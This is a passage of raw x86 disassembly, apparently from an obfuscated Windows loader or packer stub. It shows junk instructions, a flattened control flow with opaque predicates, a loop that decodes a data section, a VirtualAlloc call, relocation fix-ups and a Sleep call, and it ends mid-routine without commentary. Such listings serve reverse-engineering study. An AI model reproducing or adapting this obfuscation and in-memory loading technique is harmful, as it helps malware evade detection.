not ebx
rol edx, 0x27
inc edx
not edi
not edx
imul ebx
rol edx, 0x16
ror edx, 0xa
imul ebx
inc edx
dec edx
dec ebx
sbb edi, 0x19
neg ebx
inc edi
sbb eax, 0
rcr ebx, 0x3d
dec ebx
ror ebx, 0x7b
sub eax, 0xb4
bswap eax
dec eax
dec edx
or edx, 0x5f
dec ebx
rcl esi, 0x44
dec edx
dec edx
not edx
neg edi
not esi
ror eax, 0x27
rol ebx, 0xf0
inc esi
dec edx
dec edi
sbb ebx, 0xb9
or eax, 0x1c
rcr edx, 0x61
sub esi, 0xdc
and ebx, 0xbc
rcr eax, 0x54
add ebx, 0x9e
bswap ebx
add esi, 0x3c
ror edx, 0xf0
imul eax
neg eax
dec esi
rcr esi, 0x64
mov ebx, 0x45
inc edi
rcl esi, 0x24
or eax, 0x5f
not ebx
and ebx, 0x22
ror edx, 0x5d
add edi, 0xc4
or edi, 0x21
imul eax
rol ebx, 0x62
inc esi
dec esi
neg edx
ror esi, 0xe4
rcl edi, 0xa
dec eax
rcl eax, 0x69
dec edi
add ebx, 0x35
ror eax, 0x63
neg eax
and esi, 0x8f
dec ebx
dec edx
imul ebx
bswap ebx
neg edi
imul esi
rcl esi, 0xed
neg eax
rcr edi, 0xdb
bswap eax
mov esi, 0x27
and eax, 0xb6
add ebx, 0x30
dec edi
not ebx
or ebx, 0x7c
add eax, 0x13
rol edx, 0x6d
inc eax
not ebx
not esi
ror edx, 0x78
sbb edi, 0xf
add edx, 0x32
rcr eax, 0xc1
imul edx
imul esi
rcr ebx, 0x78
imul edx
imul edx
bswap eax
neg ebx
rcl esi, 0x13
add eax, 0x2d
not esi
neg edx
bswap esi
neg esi
sbb edi, 0x86
neg eax
dec edx
not edi
dec esi
dec ebx
ror esi, 0xe6
rcl esi, 0x65
dec esi
dec edx
sub esi, 0x39
rcl edx, 0x88
rol edx, 0xf7
dec edi
and eax, 0x1f
inc eax
mov esi, 0x99
imul ebx
sub edx, 0xc0
mov eax, 0x793f272f
mov dword [ebp - 0x14], 0x25600
nop word cs:[eax + eax]
cmp eax, 0xfdc555a8
jle 0x405730
cmp eax, 0xfdc555a9
je 0x40581d
cmp eax, 0x2367f487
je 0x4059e6
cmp eax, 0x793f272f
jne 0x405540
mov dword [ebp - 0x18], section..data
and esi, 0xa5
sub esi, 0xbe
dec esi
neg esi
neg eax
rol edi, 0x48
not edx
bswap edi
ror edi, 0xbd
not esi
inc esi
inc edi
dec ebx
ror esi, 0xca
sub edi, 0xfd
or ebx, 0xc9
rol ebx, 0x95
imul edi
neg edi
dec edx
rcr esi, 0xa9
and ebx, 0xe7
or eax, 0x2e
bswap ebx
imul ebx
inc esi
sub edx, 0x30
mov edx, 0x64
inc edi
imul edi
imul ebx
mov eax, 0x2d
sub edx, 0xfa
dec ebx
inc esi
inc esi
bswap esi
neg esi
not eax
imul eax
dec edx
mov eax, 0xce
not esi
and edi, 0x7a
neg esi
sbb ebx, 0x65
or esi, 4
ror esi, 0x57
sbb edi, 0x60
imul eax
mov eax, 0x5e
dec esi
neg edx
bswap edi
imul esi
mov edi, 0xe5
rcl eax, 0x66
and esi, 0xd3
dec ebx
add esi, 0xa2
imul edx
inc esi
inc ebx
ror edx, 0x26
bswap esi
dec edi
imul ebx
not eax
or esi, 0x5b
rcr edx, 0x9e
rcl edx, 0xbd
neg edi
rcr eax, 0x21
sbb edi, 0x79
imul eax
ror edi, 0x47
imul esi
and esi, 0xa4
neg ebx
rol edx, 0xae
imul edi
sub edx, 0x37
imul edi
ror ebx, 0x7d
imul esi
ror edx, 0x3a
and edi, 0xee
bswap esi
ror edi, 5
imul eax
mov edx, 0x36
and ebx, 0x16
inc esi
and eax, 0x90
dec ebx
dec edx
add edx, 0xca
rcr esi, 0xb5
not esi
mov edx, 0xb4
and esi, 0x21
or eax, 0x52
bswap ebx
ror edi, 0xb8
dec eax
bswap edx
or esi, 8
imul edi
and edx, 0x52
neg edi
sub esi, 0x15
rcl ebx, 0x59
rcl eax, 0xcf
bswap ebx
imul edi
sbb edx, 0x3d
neg edi
sub edi, 0x3e
imul ebx
sub eax, 0x85
or esi, 0x20
or esi, 0x15
sbb edi, 0xe1
rcr edi, 0x17
neg ebx
and ebx, 0x57
neg eax
inc ebx
rol esi, 0xd6
sub edx, 0xcb
rcr eax, 0x18
not edi
and edi, 0xea
not edx
and edx, 0xae
not edi
rcr esi, 0x7d
mov eax, 0x32
rol edx, 0xfc
and esi, 0xa3
mov edx, 0xc
rcl edx, 0x9f
bswap esi
or edi, 0xb5
ror ebx, 0x51
ror edx, 9
bswap esi
inc ebx
ror esi, 0xb5
inc esi
mov eax, 0xdd356246
jmp 0x405540
cmp eax, 0xbe2112de
je 0x40ba80
cmp eax, 0xdd356246
jne 0x405540
mov ecx, dword [0x45d98c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov esi, eax
and esi, 0x8043001
mov ecx, edx
and ecx, 0x4208844a
and edx, 0x807beffe
or esi, ecx
mov ecx, eax
and ecx, 0xb5f34bb4
and eax, 0x7f841001
xor esi, 0x8043001
or eax, edx
or ecx, esi
mov esi, ecx
not esi
and ecx, 0x4a0cb44a
and esi, 0xb5f34bb5
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xcea0a68c
mov esi, edx
and esi, 0x315f5973
or ecx, esi
mov esi, eax
xor esi, 0x4e800000
xor eax, 0x5b4972
and eax, 0x315f5973
and esi, 0xcea0a68c
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x2367f487
sete dl
setne ah
cmp dword [0x45d988], 0xa
setge al
mov ecx, eax
xor dl, al
and al, ah
xor cl, ah
xor dl, 1
or al, dl
mov ch, cl
mov edx, eax
xor ch, al
and al, cl
and ch, cl
xor cl, 1
not dl
and dl, cl
mov cl, ch
or al, dl
mov edx, 0xfdc555a9
xor cl, al
cmovne edx, esi
test al, al
mov eax, edx
cmovne eax, esi
test ch, ch
cmove eax, edx
jmp 0x405540
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x64
add byte [edi], 0x75
imul byte [edi]
inc edi
loop 0x405827
or eax, 0xba
imul edx
sub edi, 0xbf
imul edi
or ebx, 0xdc
add esi, 0x18
dec edx
bswap esi
or edi, 0x34
dec eax
inc edx
imul ebx
not esi
bswap edi
neg edi
inc esi
inc esi
rcr esi, 0xd3
bswap edi
inc edi
rcr esi, 0x15
add edx, 0x9d
and esi, 0xb6
not esi
inc edx
inc ebx
bswap esi
rol esi, 0x77
inc edi
rol edx, 2
dec ebx
sbb esi, 0x78
dec edi
or edi, 0xcd
dec esi
rcr edi, 0xe3
mov ebx, 0xe3
sbb esi, 0x87
or edx, 5
sub eax, 0xe9
imul esi
not eax
imul edi
inc esi
imul edi
rol edx, 0xc4
dec ebx
rol eax, 0xbc
imul edx
neg eax
inc ebx
inc edi
sub edi, 0x35
sub edi, 0xbf
ror edi, 0x39
and ebx, 1
sub eax, 0x56
rol ebx, 0x25
mov eax, 0xb5
bswap eax
imul esi
rcr edx, 5
inc esi
and eax, 0xbc
add edi, 0x89
rcr ebx, 0x2c
imul edx
mov edx, 0x93
mov edi, 0x65
not esi
add ebx, 0x17
add edi, 0x29
imul ebx
add edi, 0x4c
rol edi, 0x75
or esi, 0xf9
imul eax
imul eax
rcl edx, 0x27
dec edi
imul edi
sbb ebx, 0xcc
not eax
not edx
and esi, 0xf6
rcl esi, 0x5e
imul ebx
imul ebx
not edx
add esi, 0xa
neg edx
dec edi
dec esi
sub edx, 0x11
bswap edx
mov ebx, 0x22
rcr ebx, 0x73
or edi, 0x78
not edi
add eax, 8
dec edi
add edx, 0x39
dec eax
not edi
rcr eax, 0xe9
imul esi
inc ebx
bswap ebx
dec edi
inc esi
inc eax
rcr edi, 0xb6
imul esi
dec edi
add ebx, 0xe1
mov ebx, 0xeb
or esi, 0xa6
and edx, 0xe9
or eax, 0xfb
bswap ebx
sbb eax, 0xde
ror eax, 0xe4
rcr eax, 0xc2
add edx, 0x84
rol esi, 0xcd
mov edx, 0xbb
add edi, 0x47
sbb edx, 0x62
rcr esi, 0xf5
mov edx, 0xc7
add esi, 0x31
neg edx
or eax, 0x88
imul edi
rcr edi, 0xd7
dec ebx
dec edi
neg eax
not edi
add edx, 0xbd
rcl edi, 0xfc
sub ebx, 0x19
rol esi, 0xc0
sub ebx, 0xfd
ror eax, 0xde
dec eax
rol ebx, 0xf6
inc ebx
inc eax
add esi, 0x51
mov eax, 0x2367f487
jmp 0x405540
xor ecx, ecx
xor edi, edi
mov ecx, dword [ebp - 0x14]
mov edi, dword [ebp - 0x18]
not byte [edi]
sub byte [edi], 0x64
add byte [edi], 0x75
imul byte [edi]
inc edi
loop 0x4059f0
or eax, 0xba
imul edx
sub edi, 0xbf
imul edi
or ebx, 0xdc
add esi, 0x18
dec edx
bswap esi
or edi, 0x34
dec eax
inc edx
imul ebx
not esi
bswap edi
neg edi
inc esi
inc esi
rcr esi, 0xd3
bswap edi
inc edi
rcr esi, 0x15
add edx, 0x9d
and esi, 0xb6
not esi
inc edx
inc ebx
bswap esi
rol esi, 0x77
inc edi
rol edx, 2
dec ebx
sbb esi, 0x78
dec edi
or edi, 0xcd
dec esi
rcr edi, 0xe3
mov ebx, 0xe3
sbb esi, 0x87
or edx, 5
sub eax, 0xe9
imul esi
not eax
imul edi
inc esi
imul edi
rol edx, 0xc4
dec ebx
rol eax, 0xbc
imul edx
neg eax
inc ebx
inc edi
sub edi, 0x35
sub edi, 0xbf
ror edi, 0x39
and ebx, 1
sub eax, 0x56
rol ebx, 0x25
mov eax, 0xb5
bswap eax
imul esi
rcr edx, 5
inc esi
and eax, 0xbc
add edi, 0x89
rcr ebx, 0x2c
imul edx
mov edx, 0x93
mov edi, 0x65
not esi
add ebx, 0x17
add edi, 0x29
imul ebx
add edi, 0x4c
rol edi, 0x75
or esi, 0xf9
imul eax
imul eax
rcl edx, 0x27
dec edi
imul edi
sbb ebx, 0xcc
not eax
not edx
and esi, 0xf6
rcl esi, 0x5e
imul ebx
imul ebx
not edx
add esi, 0xa
neg edx
dec edi
dec esi
sub edx, 0x11
bswap edx
mov ebx, 0x22
rcr ebx, 0x73
or edi, 0x78
not edi
add eax, 8
dec edi
add edx, 0x39
dec eax
not edi
rcr eax, 0xe9
imul esi
inc ebx
bswap ebx
dec edi
inc esi
inc eax
rcr edi, 0xb6
imul esi
dec edi
add ebx, 0xe1
mov ebx, 0xeb
or esi, 0xa6
and edx, 0xe9
or eax, 0xfb
bswap ebx
sbb eax, 0xde
ror eax, 0xe4
rcr eax, 0xc2
add edx, 0x84
rol esi, 0xcd
mov edx, 0xbb
add edi, 0x47
sbb edx, 0x62
rcr esi, 0xf5
mov edx, 0xc7
add esi, 0x31
neg edx
or eax, 0x88
imul edi
rcr edi, 0xd7
dec ebx
dec edi
neg eax
not edi
add edx, 0xbd
rcl edi, 0xfc
sub ebx, 0x19
rol esi, 0xc0
sub ebx, 0xfd
ror eax, 0xde
dec eax
rol ebx, 0xf6
inc ebx
inc eax
add esi, 0x51
mov ecx, dword [0x45d98c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
mov esi, eax
xor esi, 0x21f80c8
not edx
mov ecx, edx
and esi, eax
and ecx, 0x21f80c8
and edx, 0x240f22ab
and eax, 0xdbf0dd54
or ecx, esi
not esi
or eax, edx
and esi, 0xfde07f36
and ecx, 0x21f80c9
xor eax, 0xdbf0dd54
or ecx, esi
mov esi, ecx
not esi
and ecx, 0xcad44274
and esi, 0x352bbd8b
or ecx, esi
mov esi, 0xbe2112de
xor ecx, 0xcad44274
or eax, ecx
cmp eax, 0xffffffff
setne dl
cmp dword [0x45d988], 0xa
mov ch, dl
setge ah
setl al
xor ch, ah
or ah, dl
xor al, dl
xor ah, 1
mov cl, al
mov dh, al
or ah, ch
xor cl, 1
xor ah, 1
and dh, cl
or ah, ch
xor dh, 1
mov ch, ah
or dh, cl
xor ch, 1
xor dh, 1
mov dl, ch
or dh, al
and dl, ah
xor ch, dl
xor dl, 1
or dl, ah
xor dl, 1
or dl, ch
mov ah, dl
or dl, cl
xor ah, 1
xor dl, 1
xor dh, ah
xor ah, al
or dl, ah
mov eax, edx
xor al, dh
test al, 1
mov eax, 0xfdc555a9
cmovne esi, eax
test dl, 1
mov eax, 0xbe2112de
cmovne eax, esi
test dh, 1
cmove eax, esi
jmp 0x405540
cmp eax, 0x84429ab4
je 0x40bef2
cmp eax, 0x8457e90e
jne 0x401610
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
mov eax, dword [eax]
sub eax, dword [ecx + 0x34]
mov ecx, dword [ebp - 0xa8]
mov dword [ecx], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x48]
mov eax, 0xbdec8263
jmp 0x401610
cmp eax, 0xf952676a
je 0x40befc
cmp eax, 0xf9e2e73a
jne 0x401610
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x188], eax
mov eax, 0x9ebea6e9
jmp 0x401610
cmp eax, 0xc16f18c8
je 0x40c0b4
cmp eax, 0xc17bc6d9
jne 0x401610
mov eax, dword [ebp - 0x1c]
mov eax, dword [eax]
mov dword [ebp - 0x108], eax
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x10c], eax
mov eax, 0x679601c6
jmp 0x401610
cmp eax, 0x3cca71bc
je 0x40c0cd
cmp eax, 0x3d28e896
jne 0x401610
mov eax, dword [ebp - 0xe0]
mov eax, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xe0]
mov ecx, edx
not ecx
mov edi, edx
and edi, 0x84040181
mov esi, edx
xor esi, 0xdd7da1a3
mov eax, ecx
and eax, 0x5979a022
and esi, edx
and ecx, 0xae638736
or edi, eax
xor edi, 0x84040181
or esi, edi
mov eax, esi
not eax
and esi, 0x93d5ff88
and eax, 0x6c2a0077
or esi, eax
mov eax, esi
xor eax, 0xa81100
xor esi, 0x20560a28
and esi, 0x6e564afc
and eax, 0x91a9b503
or eax, esi
mov esi, eax
xor esi, 0x80218502
xor eax, 0x6e564afc
mov edi, eax
or eax, edx
and edx, 0x519c78c9
and edi, 0x519c78c9
and esi, 0xae638736
or esi, edi
or ecx, edx
not eax
xor ecx, esi
or eax, ecx
mov ecx, eax
not ecx
and eax, 0x5f028a94
and ecx, 0xa0fd756b
or eax, ecx
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0xa0]
xor eax, 0x5f028a94
mov edx, dword [eax + ecx]
mov esi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x68]
mov esi, dword [ebp - 0x68]
add edx, dword [ebp - 0x68]
mov dword [eax + ecx], edx
mov eax, 0x31484310
jmp 0x401610
cmp eax, 0x9e9feb04
je 0x40c0d7
cmp eax, 0x9ebea6e9
jne 0x401610
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x188]
mov dword [eax], ecx
mov eax, 0xab0775ba
jmp 0x401610
cmp eax, 0x20678a84
je 0x40c0e1
cmp eax, 0x21065797
jne 0x401610
mov eax, 0xf48cb2d7
jmp 0x401610
cmp eax, 0xdeeff277
je 0x40c0eb
cmp eax, 0xdf027c91
jne 0x401610
mov eax, 0xdf1302ad
jmp 0x401610
cmp eax, 0x5cc76db9
je 0x40c0ff
cmp eax, 0x5ef07384
jne 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 0xa
mov eax, 0x624a68c0
jmp 0x401610
cmp eax, 0x8d22e4f0
je 0x40c115
cmp eax, 0x8d4b7297
jne 0x401610
cmp byte [ebp - 0x87], 0
mov eax, 0x3493732
mov ecx, 0xaeab297b
cmovne eax, ecx
jmp 0x401610
cmp eax, 0xa178627
je 0x40c11f
cmp eax, 0xc245045
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
mov esi, ecx
not eax
or esi, 1
and ecx, 0x1aa35c12
mov edx, eax
mov edi, eax
or edx, 0x96386d66
and esi, 0x96386d67
and edi, 0x69c79298
and eax, 0xe55ca3ed
or edi, esi
and edx, 0x96386d67
or eax, ecx
xor edx, edi
mov esi, edx
not esi
and edx, 0xe55ca3ed
mov edi, esi
and edi, 0x1aa35c12
or edx, edi
xor eax, edx
xor esi, eax
test esi, eax
mov esi, 0x5ef07384
setne al
sete cl
cmp dword [0x45d978], 0xa
setge ah
xor cl, ah
xor al, ah
xor cl, 1
or cl, ah
mov edx, ecx
not dl
and dl, cl
xor dl, 1
mov ah, dl
or dl, cl
xor ah, cl
xor dl, 1
or dl, ah
xor dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x624a68c0
cmovne eax, esi
test dl, 1
mov edx, 0x624a68c0
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401610
cmp eax, 0xd0ee194a
je 0x40c24e
cmp eax, 0xd1ceb710
jne 0x401610
mov ecx, dword [0x45d97c]
lea eax, [ecx + 1]
imul eax, ecx
mov edx, eax
not edx
mov ecx, eax
and ecx, 0x75e9bfb7
mov esi, edx
and esi, 0x8a164048
and edx, 0x15be231b
or ecx, esi
mov esi, ecx
xor ecx, 0x88104040
xor esi, 0x10800381
or ecx, 0x276fbc1c
and esi, 0x988003c1
mov edi, ecx
and edi, 0x6417c03e
or esi, edi
mov edi, eax
xor edi, 0xd89043e3
and edi, eax
and eax, 0xea41dce4
mov ebx, edi
not ebx
and edi, 0x9be83fc1
or eax, edx
or ecx, ebx
and ebx, 0x6417c03e
or edi, ebx
not ecx
xor edi, esi
or ecx, edi
mov esi, ecx
not esi
and ecx, 0xd89043e2
and esi, 0x276fbc1d
or ecx, esi
mov edx, ecx
not edx
and ecx, 0xf56d9665
mov esi, edx
and esi, 0xa92699a
or ecx, esi
mov esi, eax
xor esi, 0xe0419464
xor eax, 0x92211a
and eax, 0xa92699a
and esi, 0xf56d9665
or esi, eax
xor esi, ecx
xor edx, esi
test edx, esi
mov esi, 0x332892bb
setne dl
cmp dword [0x45d978], 0xa
setge cl
mov eax, ecx
or al, dl
xor dl, cl
mov ah, dl
mov ecx, edx
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor cl, 1
and ah, al
xor al, 1
and cl, al
or cl, ah
mov ah, al
or al, dl
xor ah, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x3cca71bc
cmovne edx, esi
test al, al
mov eax, 0x3cca71bc
jmp 0x409bd2
cmp eax, 0x4d8ff7d9
je 0x40c2c6
cmp eax, 0x4f739761
jne 0x401610
cmp byte [ebp - 0x82], 0
mov eax, 0xcd5d00b2
mov ecx, 0xa1800845
cmovne eax, ecx
jmp 0x401610
cmp eax, 0xaf87529d
je 0x40c2d0
cmp eax, 0xb0d47069
jne 0x401610
mov eax, dword [ebp - 0x44]
mov eax, dword [eax]
inc eax
mov dword [ebp - 0x1ec], eax
mov eax, 0xa85fc7ec
jmp 0x401610
cmp eax, 0x2fc6b8c8
je 0x40c3df
cmp eax, 0x2fd62a38
jne 0x401610
push 4
push 0x3000
push dword [ebp - 0xfc]
push dword [ebp - 0x150]
vzeroupper
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, dword [ebp - 0x1c]
mov dword [ecx], eax
mov eax, dword [ebp - 0x48]
cmp dword [eax + 4], 0
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
sete byte [ebp - 0x81]
imul ecx, eax
mov edx, ecx
andn eax, ecx, ecx
not ecx
and edx, 0x73c43822
and ecx, 0x8c3bc7dd
or edx, ecx
xor edx, 0x73c43822
or eax, edx
mov esi, eax
xor esi, 0x42c13c2d
mov ecx, eax
and ecx, 0x6d3b0cf6
and esi, eax
not eax
and eax, 0x92c4f309
or ecx, eax
mov eax, ecx
mov edi, ecx
xor eax, 0x6d3b0cf6
xor edi, 0xd005cf24
xor ecx, 0x12442209
and edi, eax
and ecx, 0x5a642ef9
mov edx, edi
not edx
and edi, 0xddaeb02f
mov ebx, edx
and ebx, 0x22514fd0
or edi, ebx
mov ebx, esi
not ebx
and esi, 0xddaeb02f
or edx, ebx
and ebx, 0x22514fd0
or esi, ebx
not edx
xor esi, edi
or edx, esi
mov esi, edx
not esi
and edx, 0x1dfa7cf7
and esi, 0xe2058308
or edx, esi
mov esi, eax
and esi, 0xa59bd106
and eax, 1
or esi, ecx
xor edx, 0x5f3b40db
mov ecx, esi
xor ecx, 0x4a2422d8
xor esi, 0x85030106
or eax, ecx
and esi, 0x95430d26
and eax, 0x6abcf2d9
or eax, esi
mov esi, 0xea472a92
xor eax, 0x6abcf2d9
or eax, edx
mov ecx, eax
not ecx
and eax, 0xbf1573a0
and ecx, 0x40ea8c5f
or ecx, eax
mov eax, ecx
xor eax, 0xbb141020
xor ecx, 0xa8081e
and ecx, 0x4a96b9e
and eax, 0xfb569461
or eax, ecx
mov ecx, eax
xor ecx, 0x8160421
xor eax, 0x80990
and eax, 0xf34899d0
and ecx, 0xcb7662f
or ecx, eax
xor ecx, 0xcb7662f
setne dl
sete ah
cmp dword [0x45d978], 0xa
mov dh, dl
setge al
setl ch
or dh, ch
and dl, ch
mov ch, al
mov cl, al
xor ch, ah
or cl, ah
xor dh, 1
and ch, al
and al, ah
xor cl, 1
or al, dl
or cl, dh
or al, ch
mov edx, ecx
xor al, 1
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, dl
test cl, 1
mov ecx, 0x3bbb8e16
cmovne ecx, esi
test al, 1
mov eax, 0x3bbb8e16
jmp 0x407116
cmp eax, 0xee6e3af1
je 0x40c3f2
cmp eax, 0xeef7b34e
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
mov esi, ecx
and esi, 0x368c300
mov edx, eax
and edx, 0x48840872
mov edi, eax
or edi, 0x88c252
and eax, 0xd486790f
or esi, edx
and edi, 0x248ad25e
mov edx, esi
xor edx, 0x3600100
xor esi, 0x2482105e
and esi, 0x248ad25e
and edx, 0x4b640920
or edx, esi
mov esi, ecx
and esi, 0x90112481
or esi, edi
xor esi, edx
mov edx, esi
not edx
and esi, 0x13ee386a
and edx, 0xec11c795
or esi, edx
mov edx, esi
xor edx, 0x27219
xor esi, 0x20f90802
and esi, 0x78f98902
and edx, 0x870676fd
or edx, esi
mov esi, edx
xor esi, 0x8406700d
xor edx, 0x78f98902
mov edi, edx
or edx, ecx
and ecx, 0x2b7986f0
and edi, 0x2b7986f0
and esi, 0xd486790f
or esi, edi
or eax, ecx
not edx
xor eax, esi
mov esi, 0x28b234e1
or edx, eax
mov eax, edx
not eax
and edx, 0x5ba306a0
and eax, 0xa45cf95f
or edx, eax
xor edx, 0x5ba306a0
sete dl
setne ch
cmp dword [0x45d978], 0xa
setl cl
setge al
or dl, cl
xor cl, ch
xor cl, 1
or cl, al
xor al, ch
mov ah, cl
and al, dl
mov edx, ecx
xor ah, 1
and dl, ah
mov ch, ah
xor dl, 1
xor ch, dl
or dl, ah
xor dl, 1
or dl, ch
mov ch, al
or al, ah
xor ch, 1
xor al, 1
xor dl, ch
xor ch, cl
or al, ch
mov ecx, eax
xor cl, dl
test al, 1
mov eax, 0x55e0323e
cmovne eax, esi
test dl, 1
mov edx, 0x55e0323e
cmove eax, esi
test cl, 1
cmove eax, edx
jmp 0x401610
cmp eax, 0x6db29eeb
je 0x40c423
cmp eax, 0x6e13c58b
jne 0x401610
mov eax, dword [ebp - 0x20]
mov dword [eax], 2
mov eax, 0xc3b840
jmp 0x401610
cmp eax, 0x80def804
je 0x40c4fa
cmp eax, 0x81cd8cb0
jne 0x401610
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
xor edx, 0xd1c19da8
and edx, ecx
not ecx
and ecx, 0xd1c19da8
or edx, ecx
mov eax, edx
not eax
and edx, 0x206d37b2
and eax, 0xdf92c84d
or edx, eax
mov esi, edx
mov eax, edx
xor eax, 0xe5355e5
xor esi, 0xf1acaa1a
xor edx, 0x86171bbc
mov ecx, eax
and edx, esi
and ecx, 0x77bbb1a6
and esi, 0xa39ba6cf
or ecx, edx
not edx
and edx, 0x88444e58
and ecx, 0x77bbb1a7
or ecx, edx
mov edx, eax
and edx, 0x5c645930
and eax, 1
or edx, esi
mov esi, edx
xor esi, 0x8298a688
xor edx, 0x54604820
or eax, esi
and edx, 0x75634866
mov esi, 0x98820211
and eax, 0x8a9cb799
or eax, edx
xor eax, 0x8a9cb799
or eax, ecx
mov ecx, eax
xor ecx, 0x6f4f73a4
and ecx, eax
not eax
or eax, ecx
not ecx
and ecx, 0x90b08c5b
and eax, 0x6f4f73a4
or eax, ecx
setne al
cmp dword [0x45d978], 0xa
setge cl
mov edx, ecx
or dl, al
xor al, cl
mov ah, al
mov ecx, eax
xor dl, 1
xor ah, 1
and cl, ah
xor cl, 1
or cl, ah
mov ah, al
xor cl, 1
xor ah, dl
or cl, al
or al, dl
xor al, 1
xor cl, dl
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x80cacbe1
cmovne edx, esi
test al, al
mov eax, 0x80cacbe1
jmp 0x40cfd2
cmp eax, 0x3493732
je 0x40c504
cmp eax, 0x4839092
jne 0x401610
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
add eax, 4
mov dword [ebp - 0x1b0], eax
mov eax, 0xebac970d
jmp 0x401610
cmp eax, 0xc806746c
je 0x40c51c
cmp eax, 0xcbfbc6bf
jne 0x401610
mov eax, dword [ebp - 0xa8]
mov eax, dword [0x45d97c]
lea ecx, [eax + 1]
imul ecx, eax
mov eax, ecx
not eax
and ecx, 0x68d082ce
and eax, 0x972f7d31
or ecx, eax
mov eax, ecx
xor ecx, 0x950c2010
xor eax, 0x68d082ce
mov edx, eax
and ecx, 0x959c225a
and edx, 0x6a63dda5
and eax, 0x17675f3e
or edx, ecx
mov ecx, edx
xor ecx, 0x6a63dda5
xor edx, 0x911c2042
mov esi, ecx
and esi, 0xe898a0c1
or ecx, 1
and edx, 0xbb7c7c46
or eax, esi
and ecx, 0x448383b9
mov esi, eax
not esi
and eax, 0xe54758b3
or ecx, edx
and esi, 0x1ab8a74c
xor ecx, 0x448383b9
or eax, esi
xor eax, 0xddff873
or ecx, eax
mov edx, ecx
xor edx, 0xb3d7ba27
mov eax, ecx
and eax, 0xb1819020
and edx, ecx
not ecx
and ecx, 0x2562a07
or eax, ecx
mov ecx, eax
xor ecx, 0x80811000
xor eax, 0x4e7e6fdf
mov esi, eax
and esi, 0x7918e024
and ecx, 0x82c71a03
or ecx, esi
mov esi, edx
not esi
and edx, 0x86e71fdb
or eax, esi
and esi, 0x7918e024
or edx, esi
not eax
mov esi, 0xbdec8263
xor edx, ecx
or eax, edx
mov ecx, eax
not ecx
and eax, 0x383f530b
and ecx, 0xc7c0acf4
or eax, ecx
mov ecx, eax
xor ecx, 0xb808100
xor eax, 0x741716d3
mov edx, eax
and edx, 0x946a686e
and ecx, 0x6b959791
or ecx, edx
xor ecx, 0x6b959791
or ecx, eax
xor ecx, 0xffffffff
sete al
setne ah
cmp dword [0x45d978], 0xa
setge cl
xor al, cl
or ah, cl
mov ecx, eax
mov ch, al
mov dl, ah
xor al, ah
xor ah, 1
xor cl, 1
and ch, ah
and dl, cl
or cl, ah
xor cl, 1
or dl, ch
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x8457e90e
cmovne esi, eax
test cl, cl
mov eax, 0xbdec8263
cmovne eax, esi
jmp 0x40a5c0
cmp eax, 0x470bde74
je 0x40c526
cmp eax, 0x4ad7df3e
jne 0x401610
mov eax, 0xe9efc95e
jmp 0x401610
cmp eax, 0xa70c1190
je 0x40c530
cmp eax, 0xa85fc7ec
jne 0x401610
mov eax, dword [ebp - 0x44]
mov ecx, dword [ebp - 0x1ec]
mov dword [eax], ecx
mov eax, 0xdf1302ad
jmp 0x401610
cmp eax, 0x2704cb08
je 0x40c699
cmp eax, 0x28b234e1
jne 0x401610
mov eax, dword [ebp - 0x7c]
mov ecx, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, 0x55e0323e
jmp 0x401610
cmp eax, 0xe6a8536a
je 0x40c822
cmp eax, 0xe6b54019
jne 0x401610
push 0x64
vzeroupper
call dword [sym.imp.KERNEL32.dll_Sleep]
mov eax, dword [ebp - 0x60]
mov eax, dword [eax]
mov dword [ebp - 0x14c], eax
mov eax, 0xe0f6ebfe
jmp 0x401610
cmp eax, 0x675d7c26
je 0x40c922
cmp eax, 0x6769d967
jne 0x401610
mov eax, dword [ebp - 0x1a0]
mov eax, dword [eax + 4]
mov ecx, dword [ebp - 0xb0]
add eax, 0xfffffff8
shr eax, 1
mov dword [ecx], eax
mov eax, dword [ebp - 0x40]
mov eax, dword [ebp - 0x30]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x40]
add eax, 8
mov dword [ecx], eax
mov eax, dword [ebp - 0x7c]
mov eax, dword [ebp - 0x7c]
mov dword [eax], 0
mov eax, 0x9f10aa7c
jmp 0x401610
cmp eax, 0x9335fc37
je 0x40c938
cmp eax, 0x9541c273
jne 0x401610
mov ecx, dword [0x45d97c]
mov edi, 0x2fd62a38
lea eax, [ecx + 1]
imul eax, ecx
mov esi, eax
mov ecx, eax
xor ecx, 0x7b5c292e
not esi
